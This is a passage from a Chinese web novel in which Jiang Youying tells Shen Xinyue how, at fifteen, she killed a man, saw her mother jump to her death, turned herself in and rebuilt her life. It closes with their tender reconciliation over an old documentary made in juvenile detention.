走出大楼,风一吹,浑身血气散尽,江有盈脸埋进毛衣的小高领,吸了口气。妈妈把她的衣服洗得香香,头发也梳理得整整齐齐。 她贴着车窗玻璃往外看,旅馆的金字招牌彻底消失不见,街景缓慢倒退,今天是个阴天,没有太阳,人行道的树灰蒙蒙。 她坐正身体,摸了下放在旁边的书包,又吸吸鼻子,总不自觉低头去看自己的两只手,到现在都不肯相信她杀人了,真的杀人了。 她抬头望向前排开车的出租车司机,他知道自己车上坐了一个杀人犯吗?说给他听的话,他肯定吓一跳。 想要妈妈,想跟妈妈说话。 她瘪了下嘴,眼眶流出眼泪,内心告诫自己要坚强,要听话——妈妈一定会来找她的。 上次就是因为不听话,惹怒了王志勇,才被他发现找来,这次一定要听话了。 她死咬唇,手背胡乱抹脸,用力吸一下鼻子,张大嘴喘气,把泪憋回去。 到火车站,付了车钱,她背着书包下车,站在马路边,眼中满是惶恐。 这里好大,好多人,她不敢乱走,手攥着书包带子跟随人流进入售票大厅,张望一阵,老老实实排在队伍末尾。 妈妈让她随便选个地方,她心里完全没个主意,只知道近处肯定是不行的,不能再被人找到了。 可她要去哪儿呢?去南方吗,南方好多城市。 快到她了,竖起耳朵仔细听,脸几乎贴到人家后肩膀,听见前面那人说江城,要了张硬座,然后里面的售票员说了什么,那人点头,双方完成交易。 那就江城,她的姓也是“江”,想来应该是个好地方。 担心出错,脑中反复排练流程,担心有小偷,她把书包换到前面抱着,提前把户口本拿出来。 小窗口前,她伸出两根手指,“要两张去江城的车票。” 顿了顿补充,“硬座。” 售票员凑到小喇叭边跟她说,最近的一班车是下午四点,去江城要坐三十二个小时哦,确定是硬座吗? 她迷糊了。 “有硬座,硬卧,还有软卧。”对方看了眼户口本,“你跟你妈妈吗?你妈妈让你买的硬座吗?” 她迟钝点头。 然后交钱,找零,她捏着票退出队伍,把书包放在地上,东西一样一样放回去。 然后呢,妈妈什么时候来找她,没有妈妈,那么远的地方她一个人怎么去。 她手腕有块电子表,显示时间是上午十点,她抱着书包在火车站门口蹲了会儿,还是决定回去找妈妈。 买了火车票,现金没剩多少,想搭公交又怕迷路,还是打车回去。 忘记了旅馆的名字,只记得是在客车站附近,金色的大招牌,她手比划着跟司机描述,对方点点头,说知道了,让她上车。 担心这人是坏的,把她拉别的地方去,她一路警惕得很,看路是不是对,街边那些建筑有没有眼熟的。 幸好,这人不坏,把她放在旅馆马路对面,指着招牌,“小妹妹,富豪旅馆,金色的,你看看对不对。” “是这个!”她点头,付了车钱,再度抬头望向旅馆招牌,她们住的那个小房间,她在窗口看到了妈妈! “妈妈妈妈!”她原地蹦跳,大声喊。 她有好多的话想对妈妈说,说妈妈今天我好厉害,我自己去火车站买到车票了! 我要细细跟你讲,我是怎么买到票的,我可聪明了。 我还要跟你讲,火车站原来那么大,有那么多人,以前我们都是坐大巴,可从来没见过火车呢。 还要说,妈妈,你一定很想知道,我是怎么想到去江*城的。 江城,你听这个名字,多适合我们,那一定是个有江的地方,在南方,搭火车要三十多个小时呢! 妈妈你快下来,我们一起去,火车下午四点就要出发了! 红绿灯,江有盈在马路对面等,不时冲着妈妈招手,喜滋滋,笑盈盈。 她心里排练着见到妈妈要说的那些话,没留神,妈妈从窗户里爬出来,坐到了窗台上。 她注视着来往车辆,焦急等待,像归巢的小鸟迫不及待要飞回妈妈身边去。 倒计时,五、四、三、二、一! 她穿过马路,走到富豪旅馆大大的金字招牌下,正欲抬头,突然,一件巨大的物什从天而降。 巨大的声响,“砰”一下在耳边炸开。 巨大的一滩血沫,扑得她满头满脸。 有十几秒,她的耳朵充满尖锐啸响,眼皮沾着不知是碎肉还是脑浆,红白一片。 她看到妈妈以一种奇异的姿势扭躺在地面,口中不断吐出鲜血,喉咙发出“嚯哈嚯哈”的声响。 她趴下去,扯着她肩膀晃,使劲地晃,想喊“妈妈”,嘴里却也只有“嚯哈嚯哈”的奇怪声响。 “走——” “走——” 她听见妈妈说。 然后她直起腰来,紧了紧书包带子,转身朝着马路对面走去。 一直走,一直走,走到马路的尽头,走到公园里,走到小河边,坐在冰凉凉的石凳上。 眼泪无知无觉,布得满脸,至此,她终于明白,妈妈为什么让她先走。 妈妈知道她还会回来,妈妈一直在等她,等她回到富豪宾馆的金字大招牌下,决定死在她面前,断绝她所有念想。 双手捂住脸,她“呜呜”哭泣,心肝脾肺肾都搅作一团,疼得死去活来。 “妈妈,妈妈……” 她没有妈妈了。 去年的这个时候,也是春天,梧桐树的叶子还没有长出来,树枝光秃秃,爸爸被一辆失控的大货车撞死在人行道。 电话还没挂,他说他马上到家。 今天的春天,妈妈也走了,从十几层楼那么高的地方跳下来,摔死在她面前。 一个小时前,她向她保证,一定去找她。 她放声大哭,双手紧紧揪住自己的毛衣领口,心痛得也要死过去了。 路人轻拍她肩膀,“小妹妹,你怎么了?” 她抬起泪湿红的一张脸,摇摇头,哭着喊着,继续往前走。 不能停,去江城的火车,下午四点出发。 她一定要去看看,江城到底是个什么样子,她要替妈妈去看一看。 双眼哭得红肿,不敢再花钱了,那些钱就是妈妈的命啊,妈妈用命换来的。 她一路走到火车站,走了两三个钟头,哭着在厕所里给自己换卫生巾,打开门,瞧见外头有人在等,恍惚了一下,还以为是妈妈。 那人奇怪看她一眼,说“你用完了吗”? 她摇头,又点头,看见镜子里眼泪汪汪的自己,掬水洗脸,袖口又弄得湿漉漉。 一路上,好多人问她——小妹妹,你怎么了。 她没法说,她的爸爸被车撞死了,她的妈妈跳楼摔死了。 今天上午,她还拿刀杀了人。 是了,她险些忘了,她杀了人。 下午四点,小杀人犯第一次独自离家,搭上开往江城的火车。 她把书包放在妈妈的位置上,只当妈妈还在,无论谁来,她都不让,他们再多说一句,她就开始哭。 妈妈直到死去仍在庇护着她,夜晚来临,火车哐当哐当,她累极,饿极,又困极,靠着书包倒下去,在妈妈的位置,把自己团成小小一只,眼泪怎么流也流不完。 闭上眼睛,感觉妈妈还在身边,手掌轻柔抚摸,说“我的乖宝,你在想什么呢。” 睁开眼,原来只是路人衣角擦过她发顶。 她恨自己,某一刹那,她竟真的希望妈妈被人打死,她就能独自逃跑。 也许是妈妈听见了她心底的声音,妈妈失望透顶,所以决定不要她。 ——“妈妈,对不起。” ——“妈妈,我好想你。” 第68章 人这一辈子,其实就两个阶段,上学和不上学。 江有盈十五岁那年突然决定不再上学,她那时不知,这个决定将会影响她一生,像是追着赶着在春天到来之前,把她的生活彻底搅一个天翻地覆。 ——“赶在爸爸祭日那天害死妈妈。” ——“妈妈是被我伤透了心。” 沈新月想告诉她,那不是你的错,谁又有预测未来的本领呢? 可现在的她完全听不进去,她的身体难以抵抗这片深海一样的压抑情绪,她蜷缩在冰冷的水磨石地面,河畔荒草间,连月光也凌凌坠地,承托不起她的哀伤。 揽她入怀,她单薄的身体颤如秋叶,面庞被眼泪浸透,沈新月紧紧抱住她,亲吻她咸涩的腮。 不要哭了,不要哭了。沈新月说不出来。 她怎么能让她不哭,她曾经历的苦难,常人难以想象,那样灭顶的绝望,足以摧毁一个人,可她多么坚强,她都挺过来了。 坚强,坚强,沈新月真是讨厌这个词。 可除了坚强,还有别的选择吗?总不能去死。 安慰的话更是多余,江有盈根本不需要安慰,她现在很好。 有自己的事业,亲人,任意支配的金钱和时间。 原来,她才是那个深陷沼泽的人,她艰难洗净自己并装扮得美丽,播种生活,她简直伟大。 眼泪总有流尽的时候,一如她当年在火车上哭着睡着。 月亮还是那么好,她面白如雪,长直的睫毛遮盖了眼睛,静静躺在人怀中平复,像只精致的瓷娃娃。 沈新月低头凝视许久,很想再亲亲她那片因哭泣而愈发饱满粉嫩的唇…… 她不常哭,她们相识之后,沈新月确定是自己哭得更多。 现在想想,公司那些糟心事,还有什么大胖小子,跟江有盈过去所经历的相比,算得了什么呢。 于是,再一次不免想起江有盈对她说过的话:“不能因为你不如别人惨,你的痛苦就不值得被重视,你就不能得到温暖和关爱。” 江师傅是多好多好的一个人呐。 虽是别扭了些,毒舌了些,有点记仇,还喜欢变来变去的,喜怒不定,令人难以捉摸…… 可她的心仍是月光般纯净。 有盈,有盈,持盈惟有德者能之。 打定主意,沈新月弯腰,亲了一下她的嘴唇。 果然,嘴再硬的女人亲起来都是软的。 被泪泡过,更软,味道也是极好的,一点眼泪的咸,混合着杨梅酒的甜,唇瓣即将分离时,万般眷恋勾引下,短暂吮吸,舌尖轻舔。 睫毛动了动,江师傅睁开眼睛,困惑极了,“你干嘛亲我。” “嗯?”沈新月耍无赖,“你这样娇滴滴躺在我怀里,哭得梨花带雨,不就是专门勾引我亲吗?” 什么歪理,江师傅小幅度鼓腮,“放你的屁,谁勾引你了。” “是你太好看了,我为色所迷。”沈新月坦白。 好一个为色所迷。 手背擦擦嘴角,瞪她一眼,江有盈撑身坐起。 亲亲还是很有效果的,她不哭了。 沈新月盘腿坐她身边,歪头看一阵,还挺得意,“怎么样,杠杠滴。” “我拳头也杠杠滴。”她举臂威胁。 沈新月耸肩,才不怕她,“说出来是不是好受多了。” “所以你知道了,我是个杀人犯。”江有盈满脸生无可恋。 哭过之后,情绪宣泄,她状态确实好了许多,也是打定主意破罐破摔了。 当然,更多的松弛感来自沈新月对她的态度,她说完之后人没跑,还亲了她一口。 这些都是能让人心里高兴的事,她愿意对她继续讲述。 “是曾经。”沈新月纠正,“不是已经出来了。” 想起之前江有盈说过,她十五岁第一次离开家,去了江城,“就是那次吧。住在江边的小旅馆,每天醒来从那扇四四方方的小窗望出去,是宽阔的江面以及无数的轮船,想飞,跟着水,寻找一个真正的世外桃源,然后躲起来。” 她说过的话,她竟然都记得,江有盈目光惊奇。 沈新月得意挑眉,“感动坏了吧。” 江有盈垂下眉眼,揪来脚边一株狗尾巴草,指尖把玩。 “记得当时我跟你说了什么吗?”沈新月挪挪,跟她挨得更近。 江有盈故意不说话,沈新月继续道:“然后我问你,现在愿望实现了吗?你说实现了。”她展开双臂,“这就是你的世外桃源,秀坪,小院,樱桃树。” 她毫不自谦,“还有我!对吧!” “切——”江有盈白眼,“早分了。” 被噎了下,沈新月大人有大量,不跟她计较,“看来,我们之间朋友身份对你来说更为舒适,那就再跟我说说吧,后来又发现了什么。” “后来……” 江有盈目光陷入遥远的回忆,“江边小旅馆,一楼放了个电视机,我出去买饭的时候,电视里看到自己的通缉令。” 新闻说,妈妈是畏罪自杀,她畏罪潜逃。 新闻还说,希望她早日归案自首,争取从宽处理。 “既然,我已经来到江城,看过大江,也去到江边散步……” 当江风吹乱她头发时,她决定自首。 她站在江滩边,学人捡石头打水漂,打得不好,后来干脆不打了,一块一块往江里扔石头。 旁边有人跟她开玩笑,“你填海呢!” 江有盈小时候学《精卫填海》,不懂精卫为什么傻兮兮做些无用功,海怎么可能会被填平呢! 那时,她终于有了自己的理解。不服,不忿,满心仇恨。 精卫心里恨,面对命运,却毫无办法,只好衔石填海,像她往江里一块块扔石头。 她心中没有丝毫逃亡的恐惧,她只是替妈妈来看看,江城到底是个什么样的地方。 如今看到了,没有妈妈,她独自一人,毫无意义,自首好歹算个归宿。 “我找人问路,派出所在哪里,他们说小妹妹你迷路了吗?” 是的,她迷路了,找不到家了。 沈新月跟随她话音,再一次进入她的世界。 “我说是的,我跟妈妈走散了,我想回去找妈妈……” 她眼眶再一次闪烁晶亮,哽咽着:“我想找妈妈。” 手圈住她肩膀,沈新月跟她头抵着头,无声安慰。 她深吸一口气,手背拭泪,“我走进派出所,告诉他们,我杀人了,我来自首。” 然后乱七八糟说了一堆,案件破获得毫无难度,因为她从头到尾全都交待了。 她被转移到本地公安机关,负责她案件的女警说给她算过了,也就七年,狱中好好表现,还能争取减刑。 十五岁那年,江有盈本应升高中的。 三年高中时间,她在未成年犯管教所,满十八岁,移交监狱,寻常人大学四年,她在监狱度过。 江有盈半开玩笑的语气,“但我提前毕业啦!我表现好,提前一年多,如果不是等待判决耽误的那小半年,还能更早。” “后来我发现,人生许多重大转变,都是很快速几天时间内完成的。” 她出狱后仍选择回到江城,她需要一份工作,于是按照过去的经验,一家铺子一家铺子问过去。 “我不想隐瞒自己的身份。”江有盈说。 所以她一开始就告诉他们,“我是一名杀人犯。” “什么?”沈新月吓了一跳,“你真这么说。” 江有盈目光看向她,模样有点呆,点头。 “那你找到工作了吗?”沈新月立即问。 “没有。”江有盈回答。 沈新月无言几秒,“能找到才怪了。” 她“嗯嗯”点头,“有人问我,那你怎么不去自首,我说我出来啦,然后他们才纠正我,说小妹,你这叫刑满释放。” 她恍然大悟。 沈新月想起些什么,“然后你就遇到李致远了?” “应该是先遇到李致远他奶奶。”江有盈道。 她找到李致远家在江城的小饭馆,说自己是刑满释放人员,现在急需一份工作,保证遵纪守法。 老太婆打听清楚事情经过,觉得她长得挺标准的,刚出来,对这个日新月异的世界一无所知,傻不愣登很好骗的样子,问她肯不肯跟他大孙子结婚。 “她说乡下一栋房子,带院的,城里也有铺面开饭店,虽是儿子媳妇都死了,即将面临倒闭,但瘦死的骆驼比马大,总比你在外面受人白眼强。” “我那时,确实很需要一个新的身份,能把我户口迁出去,彻底摆脱从前的那些人和事。” 她多一秒都不想待在原来那地方。 王家人自然不肯轻易放过她,她连办身份证去派出所交资料都提心吊胆,却还是被堵在巷子里打了一顿。 “在此之前,几年前做我案子的那位女警官给了我刘武的联系方式,说他也是刚出来,好人,我们可以互帮互助,让我自己决定要不要联系她。” 她浑身血,被打得半死不活躺在巷子里,没得选,还是拨通了刘武的电话。 “刘武是因为什么。”沈新月好奇。 “防卫过当。”江有盈摸到手臂一个蚊子包。 沈新月指甲盖给她掐了个十字,皱着眉点点头,懂了。 刘武把她送进医院,出钱给她医治,她那时才二十出头,闷在被子里哭了会儿,明白了陈警官的苦心,再掀开被子,喊了一声“哥”。 “刘武那时候还很瘦,他笑着应下,因为那声‘哥’,在黑煤窑打工挣的钱全都寄给我,让我买衣服穿,买东西吃,别委屈了自己。” 说起这些,江有盈心里好受得多,没哭。 所以,当李致远奶奶提议,让她跟李致远结婚的时候,她也没想就答应了。 她想安顿好以后,把刘武也接过来。 李致远奶奶想让她给李致远生孩子,她想的是鸠占鹊巢,把李致远家房子霸占了。 沈新月笑出声。 “我没见到李致远之前,心想他可能长得比较难看,八成是个治好了也在流口水的傻子。” 见到李致远之后,她什么都明白了,明白李致远奶奶为什么会找上她——刑满释放人员。 李致远那时候已经残废了,不流口水,也不傻,长得还挺标志的,只是没腿,从大腿根那,齐齐没了。 “都不用穿裤子,衣服长点就能盖住,但他坚持要穿,所以裤子都堆在那,时间长来捂出疮,不许任何人靠近,任由身体发烂发臭。” 都是苦命人。 一见李致远,江有盈立即就不觉得自己惨了,她有手有脚,身体健康,她未来充满无限希望,她很好。 “我第一次到我们现在住的小院,我走进李致远的房间,跟他说,你奶奶让我来跟你生孩子。” 沈新月眼睛睁得大大。 江有盈平静道:“他让我滚。” 那时候的江有盈跟现在不太一样,她认为不能白白霸占人家房子,上前同他撕扯。 “然后他失禁了,从轮椅下面,滴滴答答淋得满地都是。” 尊严尽失,李致远大哭,咆哮,把自己从轮椅上掀翻,像个木头娃娃咕噜噜滚到地板,拳头砸地,头磕地,把自己弄得满身是伤。 “我上前帮忙,他推开我,用力捶打自己,警告我,再靠近一步,会立即杀了我,然后自杀。” 江有盈内心对他是充满感激的。 “他后来对我说,所以你看到了,你比我强,你至少还有腿,你能跑会跳,你永远也不会知道没了腿是什么滋味。” “他说,别为了眼前这点蝇头小利,牺牲自己,做任何违背自己意愿的事。你还那么年轻,你怎么能随便给人生孩子,你到底知不知道那意味着什么。” “他还说,你没发现吗?你跟你妈当年没差别,你潜意识还是受她影响,想着去靠别人翻身。但没事,你比你妈运气好,你受的罪够多了。” 江有盈花了很长一段时间才想明白他话里的深意。是了,她险些铸下大错。 李致远是她生命中重要的一位老师,他救了她,却救不了自己。 他看很多书,懂得很多道理,仍无法自救。 她在他面前,走路都小心翼翼,她的健康似乎成为一种罪孽,他察觉后,就很少到院子里去了。 命运待人真是不公。 之后没多久,星星来了。 “她真就像星星一样从天而降,给这个绝望的家带来希望。” “他在房间里听到婴儿的啼哭声,把脸贴在窗口,冲着我们笑,又失禁了。” “那是最后一次,她奶奶给他收拾,有一天晚上,我看到他推着轮椅独立离开家,我知道他要去干什么,我没拦着。” …… 至此,江有盈看向沈新月,目光澄澈,“我对你,再无隐瞒。” 第69章 那句“我杀过人”之后,她向她坦白。 她的过去,她的悲伤、懊悔、庆幸、感恩,她的一切。 她讲完了,终于不再流泪,从过去的伤痛中抽离,闭眼,深吸一口气,双手揉搓泪干后紧绷的脸颊。 沈新月一直在她身边静心聆听,不时接两句,避免她太过沉浸,伤了自己。终于结束,她偏过头,轻轻“啵”一下,在她冰凉凉的腮。 “干嘛又亲我啊。”江师傅手捂脸,皱眉看她,刚哭过声音瓮瓮的。 挺背,沈新月理直气壮,“是奖励,我给你的奖励。” 也怕她钻空子,补充,“跟是不是分手没关系,作为邻居,好友,对你今天这番坦诚的鼓励。” 那些残酷的过往,能鼓起勇气开口,实在不容易。 她把自己逼到绝境,一口气倒出来,像酒醉后的呕吐,懒得计较样子有多难看,是心理和生理上共同作用,把胃排空,换一个舒服。 在她们给妈妈烧纸的那片废弃宅基地,她们坐了很久很久,沈新月又偷亲,她有些生气,问“干嘛”。 “想亲。”沈新月只能这么答。没什么特别的原因,就是想亲。 “不许亲。”她挪挪,离她远些,大概一厘米。 沈新月低头笑出声,“其实你喜欢得不得了。” “才没有。”她瞪她。 沈新月发现她的另一面是很孩子气的,比如她说妈妈教她穿秋裤,边说两只手边伸出去在脚踝那比划,咕咕囔囔,“要先用袜子把秋裤包起来哦——” 可爱死了。 又问:“你记住了吗?” 沈新月想笑,不敢,说会了。其实外婆也是这么教的,她从小就知道,外婆还教过穿外套的时候,记得把袖口捏在手心,袖子才不会跑。 还有,她似乎很喜欢她小时候穿的那件白毛衣,手捏个拳头放在下巴那,低头,说喜欢脸埋进衣领走在路上的那种感觉。 沈新月完全懂得,“就是天气很冷,但我穿得很暖和,干干净净走在路上的那种感觉,对吗?” 她便“嗯嗯”点头,笑。 好乖的。 在河边坐了很久,时间并不重要,她们并不急着去做些什么,第二天的事迟一点也没关系。 沈新月喜欢在秀坪,不用奔命,没人掐着手表在屁股后面拿鞭子抽。 不得不离开,是发觉蚊子找到她们了,开始一两只还能忍受,渐渐多起来,手痒脚痒,叮得人耳根发麻。 这下什么都顾不得,伤心是次要的,远远只看见两道人影在河坎边踏着奇怪的舞步,身子弄成麻花。 逃离小河,行走在村落古老的青石砖,沈新月一手揣兜,一手僵僵地垂在那,不时晃荡两下,像鱼饵。 果然,几分钟后,有鱼上钩,她小拇指挂了个东西。 她反手捉住她,举高,明知故问,“干嘛你。” “牵。”江有盈言简意赅。 “干嘛要牵。”沈新月话虽如此,没甩开。 她“切”一声,“许你亲我,不许我牵。” “我亲你,是奖励你,今天表现好。”沈新月举高下巴,很得意。 “那我牵你,也是奖励你,听我说了那么多。”她有样学样。 沈新月忍不住偷笑一下,她也偷笑,怕人发现不了,有意发出声音,掩唇“嘻嘻”。 这人,幼稚! “像个小傻子。”沈新月嘀咕。 “那你是什么,大傻子。”就那张嘴,永远不服输。 沈新月想起某部电影台词,怪怪嗲嗲的台湾腔,“大笨蛋才追你那么久!” “是大傻子。”江有盈纠正,还乱教人,“‘大傻’连读,子不发音。” 沈新月竟还真跟着学,“大傻——子,才追你那么久。” 听起来真就是个大傻子,江有盈笑得前仰后合。 沈新月意识到上当,甩开她手,“不理你了啦!”凉拖鞋吧嗒吧嗒,跑去前面。 回小院,外婆喝了点酒,听竹子说已经回房睡下。 她们把院子恢复了原样,碗筷烤架什么的都清理干净,江有盈进厨房看了眼,连酸梅汤的罐子都洗好倒扣在池子边沥水。 跟女孩子们生活在一起,很舒心,她们细致体贴,温柔礼貌,还很爱干净。 程意抱膝在树下看电影,扭头说“你们回来了”,没问太多,继续沉浸剧情。 江有盈上楼,中途回头看,抿一下唇。 领会了意思,沈新月背着手,地主老财那样迈着阔步跟上去。 程意看在眼里,无声笑笑,没说什么。 前后进了办公室,保证四面八方都没人能瞧见她们,江有盈回身拉着她手,“今晚来我房间好吗?我向你赔罪。” 沈新月有点憋不住笑,以至于把嘴都憋歪了。 她抽出一只手,揉揉鼻子,“干嘛啦。” “对不起。”她语气可怜,“之前都是我不好,今天说了那么多,你都知道了,难道还不肯原谅我吗?” “那干嘛不早说。”沈新月脚尖拍地,模样拽得不行,“非把我惹生气,我很生气知道吗?才不要轻易原谅你。” “那你总得接受我的示好吧。”总是冷眼看人牛气哄哄的江师傅,也有可怜巴巴求人的一天。 沈新月爽得换身骨头发酥,细一琢磨,“也有道理。” 进屋之前,她向她确认,“是你求我的哦。” “我求你。”她卑微道。 终于回来了,江师傅的闺房,沈新月大摇大摆,光脚在地板上走。 洗漱这些还在,江有盈给她找了睡衣拿进卫生间,沈新月洗完澡出来的时候,她房间里那双居家拖鞋被人拿回来了,就放在门口。 她穿上鞋走过去,江有盈湿着头发,显然也下楼洗过澡。 沈新月坐在床边,看她屈膝半跪,从床头抽屉里摸出一盒清凉油,用手抹了涂在蚊子咬过的地方,立即就凉嗖嗖。 台灯光亮是甜蜜的橙汁气泡,沈新月灯下看她,呼吸那么近,热热燎在皮肤,她心里泛起痒,还在生她的气,又实在很难不被蛊惑。 好几次,想把她按倒,飞快皱一下鼻头又告诫自己忍住。 “还有腿。”江有盈说。 沈新月把腿架在床沿,她挪远了,手里拿着清凉油,左右歪头,找蚊子包,心无旁骛。 她不信她邀请她进房间,只为抹药。 “还有哪里痒吗?”江有盈认真问道。 沈新月立即就想歪,眨眨眼,“你猜。” 江有盈笑了,一口小牙洁白如贝,“痒就自己挠挠。” 沈新月也跟着笑了,心中发誓,绝不轻易原谅她! 起身之际,身后人勾住她小拇指。 她回头,她眼神哀伤,“陪陪我好吗?求你了。” 第70章 陪陪她吧,她好可怜,才十五岁就失去了双亲,还是以那样惨烈的方式。 沈新月只怪自己想象力太丰富,脑袋里立即浮现出一个穿蓝白校服扎马尾的美丽少女。 她走在江边的防汛堤,一路走一路哭,她满心绝望,她再也没有妈妈了。她走进派出所,说“我来自首,我杀了人”,被戴上手铐,关进看守所,等待法庭宣判,对未来充满迷惘,不知是否还有机会活着去一次江城。 她在狱中劳作、学习,染上异食癖,可能还会有同寝的人欺负她年幼…… 那些日子,她是怎么熬过来的呢。 伤心事早就挖坑填埋,她今晚跟她说了好多,又刨得七零八落,见森森白骨,碎身糜躯。 怎能轻易一走了之?至少得帮她填回去吧! 沈新月踌躇间,江有盈慢慢将她翻转,双手环住她腰肢,下巴颏抵在她小肚子,扬起脸,不说话,只是一下一下,眨巴眼。 低头,视线相融,沈新月被她可爱模样逗笑,“干嘛呢你。” “撒娇。”江师傅诚恳道。 沈新月没憋住笑,双手自然搭在她肩膀,“真是稀罕,你还会撒娇。” “学习撒娇。” 江师傅搂着人家腰,左右那么晃,“求求你了、求求你了,留下来陪我吧……” 哎呦喂,受不了! 沈新月双手捧起她脸,笑得见牙不见脸,“那你自己晃就好了,干嘛晃我。” 她险些站不稳。 站不稳也好,倒下去压住她,趁机偷亲。 “这样吗?”稍拉开些距离,江有盈身体笨拙摇晃。 欸?来这招,她真的假的!沈新月手掩唇笑得不行,这家伙头顶都冒傻气了! “说了那么多,我晚上要做噩梦的。”江有盈脸重新贴在她小肚子那,“帮人帮到底,送佛送到西,求你行行好。” 话都说到这份上了。 腿一动,膝一软,沈新月贴着床沿坐下,“那事先说好,只是陪你。” 顿时喜笑颜开,江师傅“嗯嗯”点头,拉她上床,“你快来,我找小时候的纪录片给你看。” 不等人安排,沈新月立即爬上凉席,在自己惯常的位置躺好。 老旧电扇“吱呀吱呀”,左右摇头,风掀起纱帐和她耳边碎发,她扯来凉被稍盖着点腿,比回自己房间还放松,把自己安排得妥妥。 “你还拍过纪录片?” 江有盈搬来笔电,“是别人给我拍的,也不是我一个人,很多人,在少管所时候拍的。” 沈新月明白了,“就是让你坐在板凳,然后拿话筒对着你,准备一大堆问题,每个都像刀子那么尖,句句戳你心,看你痛哭流涕,追悔莫及,从而满足自己卑劣的好奇心,以及那些‘遵纪守法好公民’们的好奇心的破纪录片。” 江有盈惊讶抬头,沈新月说得一字不差。 “也许,可以起到一个警醒的作用。”江有盈继续浏览器搜索。 “你看过吗?”沈新月问。 她摇头,“我不敢看,我都快忘记当时的自己是什么样子了。”她想要她陪。 “好吧。”沈新月泄气,“看看也好。” 十五岁?还是十六岁,十七岁的江满满。 片子有点老了,画质模糊,共有八集,江有盈劝她别生气,“男孩也有,不单单是女孩,四个男孩四个女孩,也不知道他们是怎么选出来的。” 沈新月确实没那么生气了,“如果只有女孩的话,我一定要发邮件好好骂一骂这个该死的导演和制片人。” 是十七岁的江有盈,在片子最后一集,穿蓝色上衣,肩背白色竖条纹,头发理得短短,短薄青茬紧贴着头皮。 沈新月记得她说过,她小时候不会梳头,连简单的马尾辫也扎得乱七八糟,后颈垂得东一绺西一绺。 妈妈走了,没人给她梳头,进去头发剃得短短,倒是正好,不用梳了。 江有盈找来的这个版本没打码,她青涩的小脸完整显现,沈新月时而转头看她,又时而转头看向屏幕。 像,同一个人,当然像。 又不像,十七岁的江有盈脸还没完全长开,手脚细细长长,瘦,腮帮鼓鼓,有点婴儿肥。 她从远处走来,慢吞吞挪到镜头面前,眼睛四处瞟,紧张,无措,得到指令后才乖乖在板凳坐下。 有人喊她的名字——“江有盈”,她背挺得直直,答“到”。 沈新月心里忽一阵揪着疼。 这部纪录片拍得很没水平,就是简单的问答,问她因为什么被关押在少管所,要她大概讲述当时事件,还问她心里有没有后悔。 ——“我后悔,我害死了妈妈。” 十七岁的江有盈,在镜头前掩面痛哭。 不忍再看,沈新月转过脸。 身边人悄无声息,已是泪流满面。 她眼中那么深的绝望、无助,狱中岁月她无时无刻不在忏悔,她始终认为那是她的错。 沈新月要合拢笔电,“不许再看了。” “等等。”江有盈伸手阻拦,“你让我看完。” 她目光哀求,“你答应要陪我的。” “你自己经历过的,你会不记得吗?还是专程放给我看,想告诉我什么。” 沈新月“啪”一声关砸上笔电,“是不是又要说那些话了,我是一个烂人,我不值得被爱,我很糟糕,我很坏?” 十七岁剔平头穿囚服的江有盈,三十四岁长发及腰穿白色棉质睡裙的江有盈,此刻重叠在一起。 她翻看十七年前的纪录片,看到十七岁的自己,仍无法释怀,不能原谅。 她把自己蜷成小小的一只,双手掩面哭泣,热泪从指缝中溢出。 也许,她真的很久没像十七岁那样认认真真哭过了,眼泪憋了那么久,总得找机会释放。 那就约定一个期限吧,今晚十二点之前。 沈新月无可奈何,再一次贴近她,紧紧拥抱她,“哭吧,在十二点之前,狠狠哭一场,明天就不许哭吧,好不好?” “嗯——”她点头,手臂垂下,封闭的自己打开。 顺势拥她入怀,沈新月轻柔抚摸她发顶,直到她身体软绵绵滑下去,在感到安全的氛围里,睡着。 她累了,今天太累了,说了好多话,流了好多眼泪。沈新月帮助她摆正身体,调整了舒服的姿势,然后给她盖上凉被。 她眼皮微微颤动,抓着人手,小声确认道:“你不会偷偷溜走吧?” “我不走,答应了你,不走。”沈新月把她胳膊也塞进被,轻拍两下,“安心睡吧,有我在,你不会做噩梦的。” 她眼皮还肿着,鼻头也红红,瞧着可怜。 沈新月一肚子气,抱来笔电,网上找到纪录片导演的个人邮箱,开始写邮件骂他。 洋洋洒洒,一两千字,问他居心何在,良心何在? 她们还是孩子,为什么,又一次把她们伤口血淋淋剥开,为什么那*么残忍,若只为警醒,为什么不去寻找那些真正的天生的恶人、罪犯,请问,您以何为标准选出的这八个小孩…… 王八蛋! 写完,点击发送。 她或许并不需要导演的回答,只为发泄内心不满,但还是一次又一次刷新邮箱,渴望得到答复,最好是关于忏悔什么的。 然后沈新月开始在浏览器搜索这个人,名为“张开”的纪录片导演。 她搜索出一条讣告。 这个叫张开的老头,去年八月脑溢血死掉了,享年五十八岁。 十七年前的那部纪录片,邮件里那么多那么多的“为什么”,张开无法回答。 沈新月关闭笔电,扔去一边,双手抱住自己的头,被痛苦淹没。 邮件不能撤回,懊悔也无用。 她明白了,她全都明白了,那是怎样一种心情。 身边人安睡,呼吸绵长,沈新月开始流泪。 没哭太久,她还记得她们之前的约定,十二点之后就不许再哭了。 迷迷糊糊睡过去,当晨曦穿透窗框和半透纱帐,暖洋洋落得满身,沈新月睁开眼。 身边人不知何时苏醒,双手托腮,目光炯炯。 冷不丁对上,沈新月还有点迷糊,不好意思地抓抓脸蛋,“差点忘了,我在你房间。” “谢谢你陪我。”江有盈抓来她手,贴在脸颊,幸福蹭蹭。 沈新月跟她说了邮件的事,眉间哀愁不散,“我是不是很过分?” “你帮我出气嘛。”江有盈挪挪,贴近她,手指细细梳理她额发。 “可张开导演去年已经去世了,我骂了他两千字。” 沈新月挫败极了,“像网上那些不讲道理的死喷子,非黑即白的二极管,拿着鸡毛当令箭,一点点可怜的见识,未知全貌就耀武扬威四处讨伐。” “死喷子可不懂忏悔,他们洋洋得意着呢。”江有盈笑着捏了下她脸蛋,“你心里实在过意不去,回头再写封邮件给他道歉好了。” “可他已经死了。”沈新月目光哀伤。 道歉也无用,以后每想起这件事,她心里都免不得抽痛一下。 所以江有盈每次想到妈妈,心里也都会这样,免不得抽痛一下。 起床,洗漱,照常工作、生活,但心里某个被烫伤的小角落,视线不经意扫过,目光勾黏起回忆,都会免不得抽痛一下的。 沈新月理解了,决定不再逼迫她想开,就这样吧,有遗憾才是人生。鲫鱼多刺,海棠无香,红楼未完。 “天气很好,每天都很好。”江有盈推开窗,风灌进房间。 沈新月脚踩在柔软的短毛地毯,心里还酸酸的,难受呢,听见她对着窗外的三角梅说道:“那我们和好了吧。” 跟谁说话呢? 白眼,沈新月起身去柜子里找衣服穿,“神经啊。” 想得美。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 